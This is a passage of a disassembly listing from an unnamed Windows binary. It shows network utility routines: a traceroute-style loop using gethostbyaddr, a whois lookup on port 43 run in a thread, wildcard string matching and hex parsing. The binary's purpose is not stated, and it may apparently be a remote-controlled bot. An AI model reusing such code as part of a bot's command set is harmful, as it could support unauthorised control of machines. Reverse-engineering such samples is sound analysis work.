cAddress:00409EDDj push offset aCouldNotResolv ; "Could not resolve name" call sub_416DD8 ; printf pop ecx xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409F18: ; CODE XREF: cAddress:00409EC2j ; cAddress:00409F04j and dword ptr [ebp-4], 0 mov byte ptr [ebp-2B4h], 1 jmp short loc_409F33 ; --------------------------------------------------------------------------- loc_409F25: ; CODE XREF: cAddress:loc_40A19Cj mov al, [ebp-2B4h] add al, 1 mov [ebp-2B4h], al loc_409F33: ; CODE XREF: cAddress:00409F23j movzx eax, byte ptr [ebp-2B4h] movzx ecx, byte ptr [ebp-0Dh] cmp eax, ecx jg loc_40A1A1 cmp dword ptr [ebp-4], 0 jnz loc_40A1A1 and dword ptr [ebp-2ECh], 0 or dword ptr [ebp-2E4h], 0FFFFFFFFh and dword ptr [ebp-2E0h], 0 and dword ptr [ebp-2DCh], 0 and dword ptr [ebp-2D0h], 0 and dword ptr [ebp-2C8h], 0 and dword ptr [ebp-2CCh], 0 and dword ptr [ebp-2D8h], 0 and dword ptr [ebp-2D4h], 0 jmp short loc_409F9E ; --------------------------------------------------------------------------- loc_409F91: ; CODE XREF: cAddress:loc_40A04Ej mov eax, [ebp-2D4h] inc eax mov [ebp-2D4h], eax loc_409F9E: ; CODE XREF: cAddress:00409F8Fj mov eax, [ebp-2D4h] cmp eax, [ebp-8] jnb loc_40A053 cmp dword ptr [ebp-2D8h], 0 jnz loc_40A053 push 20h push dword ptr [ebp-0Ch] push dword ptr [ebp-2B4h] lea eax, [ebp-2CCh] push eax push dword ptr [ebp-2BCh] call sub_409CB1 add esp, 14h test eax, eax jz short loc_40A047 cmp dword ptr [ebp-2CCh], 0 jnz short loc_40A02F mov eax, [ebp-2D0h] add eax, [ebp-2C4h] mov [ebp-2D0h], eax mov eax, [ebp-2C4h] cmp eax, [ebp-2E4h] jnb short loc_40A013 mov eax, [ebp-2C4h] mov [ebp-2E4h], eax loc_40A013: ; CODE XREF: cAddress:0040A005j mov eax, [ebp-2C4h] cmp eax, [ebp-2DCh] jbe short loc_40A02D mov eax, [ebp-2C4h] mov [ebp-2DCh], eax loc_40A02D: ; CODE XREF: cAddress:0040A01Fj jmp short loc_40A045 ; --------------------------------------------------------------------------- loc_40A02F: ; CODE XREF: cAddress:00409FE5j mov eax, [ebp-2CCh] mov [ebp-2ECh], eax mov dword ptr [ebp-2D8h], 1 loc_40A045: ; CODE XREF: cAddress:loc_40A02Dj jmp short loc_40A04E ; --------------------------------------------------------------------------- loc_40A047: ; CODE XREF: cAddress:00409FDCj xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_40A04E: ; CODE XREF: cAddress:loc_40A045j jmp loc_409F91 ; --------------------------------------------------------------------------- loc_40A053: ; CODE XREF: cAddress:00409FA7j ; cAddress:00409FB4j mov eax, [ebp-2C8h] mov [ebp-2E8h], eax cmp dword ptr [ebp-2ECh], 0 jnz short loc_40A07B mov eax, [ebp-2D0h] xor edx, edx div dword ptr [ebp-8] mov [ebp-2E0h], eax jmp short loc_40A090 ; --------------------------------------------------------------------------- loc_40A07B: ; CODE XREF: cAddress:0040A066j and dword ptr [ebp-2E4h], 0 and dword ptr [ebp-2E0h], 0 and dword ptr [ebp-2DCh], 0 loc_40A090: ; CODE XREF: cAddress:0040A079j cmp dword ptr [ebp-2ECh], 0 jnz loc_40A165 push 2 push 4 lea eax, [ebp-2E8h] push eax call dword_417220 ; gethostbyaddr mov [ebp-2F0h], eax cmp dword ptr [ebp-2F0h], 0 jz short loc_40A115 movzx eax, byte ptr [ebp-2E5h] push eax movzx eax, byte ptr [ebp-2E6h] push eax movzx eax, byte ptr [ebp-2E7h] push eax movzx eax, byte ptr [ebp-2E8h] push eax mov eax, [ebp-2F0h] push dword ptr [eax] push dword ptr [ebp-2DCh] push dword ptr [ebp-2E0h] push dword ptr [ebp-2E4h] movzx eax, byte ptr [ebp-2B4h] push eax push offset dword_419594 lea eax, [ebp-2B0h] push eax call sub_40D53F add esp, 2Ch jmp short loc_40A163 ; --------------------------------------------------------------------------- loc_40A115: ; CODE XREF: cAddress:0040A0BBj movzx eax, byte ptr [ebp-2E5h] push eax movzx eax, byte ptr [ebp-2E6h] push eax movzx eax, byte ptr [ebp-2E7h] push eax movzx eax, byte ptr [ebp-2E8h] push eax push dword ptr [ebp-2DCh] push dword ptr [ebp-2E0h] push dword ptr [ebp-2E4h] movzx eax, byte ptr [ebp-2B4h] push eax push offset dword_419568 lea eax, [ebp-2B0h] push eax call sub_40D53F add esp, 28h loc_40A163: ; CODE XREF: cAddress:0040A113j jmp short loc_40A187 ; --------------------------------------------------------------------------- loc_40A165: ; CODE XREF: cAddress:0040A097j push dword ptr [ebp-2ECh] movzx eax, byte ptr [ebp-2B4h] push eax push offset dword_419540 lea eax, [ebp-2B0h] push eax call sub_40D53F add esp, 10h loc_40A187: ; CODE XREF: cAddress:loc_40A163j mov eax, [ebp-2BCh] cmp eax, [ebp-2E8h] jnz short loc_40A19C mov dword ptr [ebp-4], 1 loc_40A19C: ; CODE XREF: cAddress:0040A193j jmp loc_409F25 ; --------------------------------------------------------------------------- loc_40A1A1: ; CODE XREF: cAddress:00409F40j ; cAddress:00409F4Aj xor eax, eax locret_40A1A3: ; CODE XREF: cAddress:00409E1Fj ; cAddress:00409E78j ... leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A1A7 proc near ; CODE XREF: sub_40A9CF+FAEp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 18h cmp [ebp+arg_4], 0 jnz short loc_40A1C7 push offset unk_419618 push [ebp+arg_0] call sub_40D53F pop ecx pop ecx jmp locret_40A2D0 ; --------------------------------------------------------------------------- loc_40A1C7: ; CODE XREF: sub_40A1A7+Aj push 2ACh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40A1E0 jmp locret_40A2D0 ; --------------------------------------------------------------------------- loc_40A1E0: ; CODE XREF: sub_40A1A7+32j push 1A3h push [ebp+arg_0] push [ebp+var_4] call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 1A3h push eax call sub_416B3A ; _mbscpy pop ecx pop ecx cmp [ebp+arg_8], 0 jz short loc_40A22A push [ebp+arg_8] call sub_416B9C ; atoi pop ecx cmp eax, 0FFh jg short loc_40A22A push [ebp+arg_8] call sub_416B9C ; atoi pop ecx mov [ebp+var_10], eax jmp short loc_40A231 ; --------------------------------------------------------------------------- loc_40A22A: ; CODE XREF: sub_40A1A7+63j ; sub_40A1A7+73j mov [ebp+var_10], 1Eh loc_40A231: ; CODE XREF: sub_40A1A7+81j mov eax, [ebp+var_4] mov cl, byte ptr [ebp+var_10] mov [eax+2A3h], cl cmp [ebp+arg_C], 0 jz short loc_40A261 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx cmp eax, 927C0h jg short loc_40A261 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_14], eax jmp short loc_40A268 ; --------------------------------------------------------------------------- loc_40A261: ; CODE XREF: sub_40A1A7+9Aj ; sub_40A1A7+AAj mov [ebp+var_14], 7530h loc_40A268: ; CODE XREF: sub_40A1A7+B8j mov eax, [ebp+var_4] mov ecx, [ebp+var_14] mov [eax+2A4h], ecx cmp [ebp+arg_10], 0 jz short loc_40A288 push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_18], eax jmp short loc_40A28F ; --------------------------------------------------------------------------- loc_40A288: ; CODE XREF: sub_40A1A7+D1j mov [ebp+var_18], 3 loc_40A28F: ; CODE XREF: sub_40A1A7+DFj mov eax, [ebp+var_4] mov ecx, [ebp+var_18] mov [eax+2A8h], ecx lea eax, [ebp+var_C] push eax push 0 push [ebp+var_4] push offset loc_409DD0 push 0 push 0 call dword_4170B4 ; CreateThread mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_40A2C7 push [ebp+var_4] call sub_416B4C ; free pop ecx jmp short locret_40A2D0 ; --------------------------------------------------------------------------- loc_40A2C7: ; CODE XREF: sub_40A1A7+113j push [ebp+var_8] call dword_4170A4 ; CloseHandle locret_40A2D0: ; CODE XREF: sub_40A1A7+1Bj ; sub_40A1A7+34j ... leave retn sub_40A1A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A2D2 proc near ; CODE XREF: cAddress:0040A4D4p var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1114 = byte ptr -1114h var_114 = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 111Ch call sub_416BC0 mov eax, [ebp+arg_0] add eax, 4 push eax mov eax, [ebp+arg_0] add eax, 104h push eax mov eax, [ebp+arg_0] mov eax, [eax] push dword ptr [eax] push offset dword_41966C mov eax, [ebp+arg_0] add eax, 204h push eax call sub_40D53F add esp, 14h push 2710h push 0 push offset a43 ; "43" mov eax, [ebp+arg_0] add eax, 104h push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_40A339 xor al, al jmp locret_40A4A2 ; --------------------------------------------------------------------------- loc_40A339: ; CODE XREF: sub_40A2D2+5Ej mov eax, [ebp+arg_0] add eax, 4 push eax push offset aS_1 ; "%s\r\n" lea eax, [ebp+var_114] push eax call dword_4171E0 ; wsprintfA add esp, 0Ch lea eax, [ebp+var_114] push eax call sub_416B40 ; strlen pop ecx inc eax push eax lea eax, [ebp+var_114] push eax push [ebp+var_8] call sub_4053BF add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40A38F push [ebp+var_8] call sub_40538D pop ecx xor al, al jmp locret_40A4A2 ; --------------------------------------------------------------------------- loc_40A38F: ; CODE XREF: sub_40A2D2+ABj push 1000h lea eax, [ebp+var_1114] push eax push [ebp+var_8] call sub_4053DC add esp, 0Ch mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_40A3B5 cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_40A3C5 loc_40A3B5: ; CODE XREF: sub_40A2D2+DBj push [ebp+var_8] call sub_40538D pop ecx xor al, al jmp locret_40A4A2 ; --------------------------------------------------------------------------- loc_40A3C5: ; CODE XREF: sub_40A2D2+E1j lea eax, [ebp+var_1114] mov [ebp+var_10], eax loc_40A3CE: ; CODE XREF: sub_40A2D2:loc_40A492j mov eax, [ebp+var_10] mov [ebp+var_111C], eax mov eax, [ebp+var_111C] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A3E9 jmp loc_40A497 ; --------------------------------------------------------------------------- loc_40A3E9: ; CODE XREF: sub_40A2D2+110j push [ebp+var_111C] call sub_407B5E pop ecx mov [ebp+var_10], eax mov eax, [ebp+var_111C] movsx eax, byte ptr [eax] test eax, eax jz short loc_40A41B push offset dword_418F4C push [ebp+var_111C] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_40A442 loc_40A41B: ; CODE XREF: sub_40A2D2+131j mov eax, [ebp+var_111C] lea ecx, [ebp+var_1114] cmp eax, ecx jz short loc_40A440 push offset dword_41965C mov eax, [ebp+arg_0] add eax, 204h push eax call sub_40D53F pop ecx pop ecx loc_40A440: ; CODE XREF: sub_40A2D2+157j jmp short loc_40A458 ; --------------------------------------------------------------------------- loc_40A442: ; CODE XREF: sub_40A2D2+147j push [ebp+var_111C] mov eax, [ebp+arg_0] add eax, 204h push eax call sub_40D53F pop ecx pop ecx loc_40A458: ; CODE XREF: sub_40A2D2:loc_40A440j push 3E8h call dword_41709C ; Sleep push offset dword_41E2A8 call sub_409C6C pop ecx mov eax, [ebp+arg_0] mov eax, [eax] mov eax, [eax+4] mov [ebp+var_1118], eax push offset dword_41E2A8 call sub_409C7A pop ecx cmp [ebp+var_1118], 0 jz short loc_40A492 jmp short loc_40A497 ; --------------------------------------------------------------------------- loc_40A492: ; CODE XREF: sub_40A2D2+1BCj jmp loc_40A3CE ; --------------------------------------------------------------------------- loc_40A497: ; CODE XREF: sub_40A2D2+112j ; sub_40A2D2+1BEj push [ebp+var_8] call sub_40538D pop ecx mov al, 1 locret_40A4A2: ; CODE XREF: sub_40A2D2+62j ; sub_40A2D2+B8j ... leave retn sub_40A2D2 endp ; --------------------------------------------------------------------------- loc_40A4A4: ; DATA XREF: sub_40A50E+A1o push ebp mov ebp, esp sub esp, 3A8h push 3A7h push dword ptr [ebp+8] lea eax, [ebp-3A8h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx lea eax, [ebp-3A8h] push eax call sub_40A2D2 pop ecx movzx eax, al test eax, eax jnz short loc_40A4FC lea eax, [ebp-2A4h] push eax push offset dword_419698 lea eax, [ebp-1A4h] push eax call sub_40D53F add esp, 0Ch loc_40A4FC: ; CODE XREF: cAddress:0040A4DFj push dword ptr [ebp-3A8h] call sub_409763 pop ecx xor eax, eax leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A50E proc near ; CODE XREF: sub_40A9CF+FE3p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jnz short loc_40A51D jmp locret_40A5BC ; --------------------------------------------------------------------------- loc_40A51D: ; CODE XREF: sub_40A50E+8j push 3A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40A536 jmp locret_40A5BC ; --------------------------------------------------------------------------- loc_40A536: ; CODE XREF: sub_40A50E+21j push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B3A ; _mbscpy pop ecx pop ecx cmp [ebp+arg_8], 0 jz short loc_40A562 push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 104h push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40A586 ; --------------------------------------------------------------------------- loc_40A562: ; CODE XREF: sub_40A50E+3Dj push offset dword_4196D4 mov eax, [ebp+var_4] add eax, 104h push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_4] add eax, 104h push eax call sub_4105FB pop ecx loc_40A586: ; CODE XREF: sub_40A50E+52j push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 204h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_8] push offset dword_4196B4 push 0 push [ebp+var_4] push offset loc_40A4A4 call sub_4095A4 add esp, 18h locret_40A5BC: ; CODE XREF: sub_40A50E+Aj ; sub_40A50E+23j leave retn sub_40A50E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A5BE proc near ; CODE XREF: sub_40A5BE+32p ; sub_40A5BE+70p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A603 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A5DD mov al, 1 jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A5DD: ; CODE XREF: sub_40A5BE+16j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A5FC mov eax, [ebp+arg_4] inc eax push eax push [ebp+arg_0] call sub_40A5BE pop ecx pop ecx jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A5FC: ; CODE XREF: sub_40A5BE+28j xor al, al jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A603: ; CODE XREF: sub_40A5BE+Cj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A614 xor al, al jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A614: ; CODE XREF: sub_40A5BE+4Dj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_40A63A mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A5BE pop ecx pop ecx jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A63A: ; CODE XREF: sub_40A5BE+64j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 3Fh jnz short loc_40A65B mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A5BE pop ecx pop ecx jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A65B: ; CODE XREF: sub_40A5BE+85j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A69E mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 30h jl short loc_40A67C mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 39h jle short loc_40A687 loc_40A67C: ; CODE XREF: sub_40A5BE+B1j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A69A loc_40A687: ; CODE XREF: sub_40A5BE+BCj mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A5BE pop ecx pop ecx jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A69A: ; CODE XREF: sub_40A5BE+C7j xor al, al jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A69E: ; CODE XREF: sub_40A5BE+A6j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A6E7 and [ebp+var_4], 0 jmp short loc_40A6B6 ; --------------------------------------------------------------------------- loc_40A6AF: ; CODE XREF: sub_40A5BE:loc_40A6E5j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40A6B6: ; CODE XREF: sub_40A5BE+EFj mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] push eax call sub_40A5BE pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40A6D4 mov al, 1 jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A6D4: ; CODE XREF: sub_40A5BE+110j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A6E5 xor al, al jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A6E5: ; CODE XREF: sub_40A5BE+121j jmp short loc_40A6AF ; --------------------------------------------------------------------------- loc_40A6E7: ; CODE XREF: sub_40A5BE+E9j xor al, al locret_40A6E9: ; CODE XREF: sub_40A5BE+1Aj ; sub_40A5BE+39j ... leave retn sub_40A5BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A6EB proc near ; CODE XREF: sub_4097A7+10Ap ; sub_4098F3+155p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A730 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A70A mov al, 1 jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A70A: ; CODE XREF: sub_40A6EB+16j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A729 mov eax, [ebp+arg_4] inc eax push eax push [ebp+arg_0] call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A729: ; CODE XREF: sub_40A6EB+28j xor al, al jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A730: ; CODE XREF: sub_40A6EB+Cj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A741 xor al, al jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A741: ; CODE XREF: sub_40A6EB+4Dj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_40A767 mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A767: ; CODE XREF: sub_40A6EB+64j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 41h jl short loc_40A77D mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 5Ah jle short loc_40A793 loc_40A77D: ; CODE XREF: sub_40A6EB+85j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 61h jl short loc_40A7BC mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 7Ah jg short loc_40A7BC loc_40A793: ; CODE XREF: sub_40A6EB+90j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] xor eax, 20h mov ecx, [ebp+arg_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_40A7BC mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A7BC: ; CODE XREF: sub_40A6EB+9Bj ; sub_40A6EB+A6j ... mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 3Fh jnz short loc_40A7DD mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A7DD: ; CODE XREF: sub_40A6EB+DAj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A820 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 30h jl short loc_40A7FE mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 39h jle short loc_40A809 loc_40A7FE: ; CODE XREF: sub_40A6EB+106j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A81C loc_40A809: ; CODE XREF: sub_40A6EB+111j mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A81C: ; CODE XREF: sub_40A6EB+11Cj xor al, al jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A820: ; CODE XREF: sub_40A6EB+FBj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A869 and [ebp+var_4], 0 jmp short loc_40A838 ; --------------------------------------------------------------------------- loc_40A831: ; CODE XREF: sub_40A6EB:loc_40A867j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40A838: ; CODE XREF: sub_40A6EB+144j mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] push eax call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40A856 mov al, 1 jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A856: ; CODE XREF: sub_40A6EB+165j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A867 xor al, al jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A867: ; CODE XREF: sub_40A6EB+176j jmp short loc_40A831 ; --------------------------------------------------------------------------- loc_40A869: ; CODE XREF: sub_40A6EB+13Ej xor al, al locret_40A86B: ; CODE XREF: sub_40A6EB+1Aj ; sub_40A6EB+39j ... leave retn sub_40A6EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A86D proc near ; CODE XREF: sub_40A8AD+FDp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov [ebp+var_4], 1 cmp [ebp+arg_4], 0 jnz short loc_40A884 push 1 pop eax jmp short locret_40A8AB ; --------------------------------------------------------------------------- loc_40A884: ; CODE XREF: sub_40A86D+10j mov [ebp+var_8], 1 jmp short loc_40A894 ; --------------------------------------------------------------------------- loc_40A88D: ; CODE XREF: sub_40A86D+39j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40A894: ; CODE XREF: sub_40A86D+1Ej mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] loc_40A89A: ; DATA XREF: cAddress:0041AE78o ; cAddress:0041AEBCo ... jg short loc_40A8A8 mov eax, [ebp+var_4] imul eax, [ebp+arg_0] mov [ebp+var_4], eax jmp short loc_40A88D ; --------------------------------------------------------------------------- loc_40A8A8: ; CODE XREF: sub_40A86D:loc_40A89Aj mov eax, [ebp+var_4] locret_40A8AB: ; CODE XREF: sub_40A86D+15j leave retn sub_40A86D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A8AD proc near ; CODE XREF: sub_406509+26p ; sub_40A9CF+193Fp ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push esi push edi mov [ebp+var_4], 1 and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_20], 0 mov esi, offset aAbcdef ; "abcdef" lea edi, [ebp+var_1C] movsd movsw movsb mov eax, [ebp+arg_0] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 30h jnz short loc_40A90C mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax mov eax, [ebp+arg_0] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 78h jz short loc_40A905 mov eax, [ebp+arg_0] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 58h jnz short loc_40A90C loc_40A905: ; CODE XREF: sub_40A8AD+48j mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax loc_40A90C: ; CODE XREF: sub_40A8AD+33j ; sub_40A8AD+56j push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_28], eax mov eax, [ebp+var_20] mov [ebp+var_14], eax jmp short loc_40A927 ; --------------------------------------------------------------------------- loc_40A920: ; CODE XREF: sub_40A8AD+116j mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_40A927: ; CODE XREF: sub_40A8AD+71j mov eax, [ebp+var_14] cmp eax, [ebp+var_28] jge loc_40A9C8 mov eax, [ebp+arg_0] add eax, [ebp+var_14] movsx eax, byte ptr [eax] push eax call sub_416DE4 ; tolower pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 30h jl short loc_40A95D cmp [ebp+var_8], 39h jg short loc_40A95D mov eax, [ebp+var_8] sub eax, 30h mov [ebp+var_10], eax jmp short loc_40A9A0 ; --------------------------------------------------------------------------- loc_40A95D: ; CODE XREF: sub_40A8AD+9Dj ; sub_40A8AD+A3j cmp [ebp+var_8], 61h jl short loc_40A99C cmp [ebp+var_8], 66h jg short loc_40A99C and [ebp+var_24], 0 jmp short loc_40A976 ; --------------------------------------------------------------------------- loc_40A96F: ; CODE XREF: sub_40A8AD:loc_40A998j mov eax, [ebp+var_24] inc eax mov [ebp+var_24], eax loc_40A976: ; CODE XREF: sub_40A8AD+C0j mov eax, [ebp+var_24] movsx eax, [ebp+eax+var_1C] test eax, eax jz short loc_40A99A mov eax, [ebp+var_24] movsx eax, [ebp+eax+var_1C] cmp [ebp+var_8], eax jnz short loc_40A998 mov eax, [ebp+var_24] add eax, 0Ah mov [ebp+var_10], eax loc_40A998: ; CODE XREF: sub_40A8AD+E0j jmp short loc_40A96F ; --------------------------------------------------------------------------- loc_40A99A: ; CODE XREF: sub_40A8AD+D3j jmp short loc_40A9A0 ; --------------------------------------------------------------------------- loc_40A99C: ; CODE XREF: sub_40A8AD+B4j ; sub_40A8AD+BAj xor eax, eax jmp short loc_40A9CB ; --------------------------------------------------------------------------- loc_40A9A0: ; CODE XREF: sub_40A8AD+AEj ; sub_40A8AD:loc_40A99Aj mov eax, [ebp+var_28] sub eax, [ebp+var_14] dec eax push eax push 10h call sub_40A86D pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] imul eax, [ebp+var_10] mov ecx, [ebp+var_C] add ecx, eax mov [ebp+var_C], ecx jmp loc_40A920 ; --------------------------------------------------------------------------- loc_40A9C8: ; CODE XREF: sub_40A8AD+80j mov eax, [ebp+var_C] loc_40A9CB: ; CODE XREF: sub_40A8AD+F1j pop edi pop esi leave retn sub_40A8AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A9CF proc near ; CODE XREF: sub_40D871+C95p ; sub_40D871+D9Cp var_6424 = dword ptr -6424h var_6420 = dword ptr -6420h var_641C = dword ptr -641Ch var_6418 = dword ptr -6418h var_6414 = dword ptr -6414h var_6410 = dword ptr -6410h var_640C = dword ptr -640Ch var_6408 = dword ptr -6408h var_6404 = dword ptr -6404h var_6400 = dword ptr -6400h var_63FC = dword ptr -63FCh var_63F8 = dword ptr -63F8h var_63F4 = dword ptr -63F4h var_63F0 = dword ptr -63F0h var_63EC = dword ptr -63ECh var_63E8 = dword ptr -63E8h var_63E4 = dword ptr 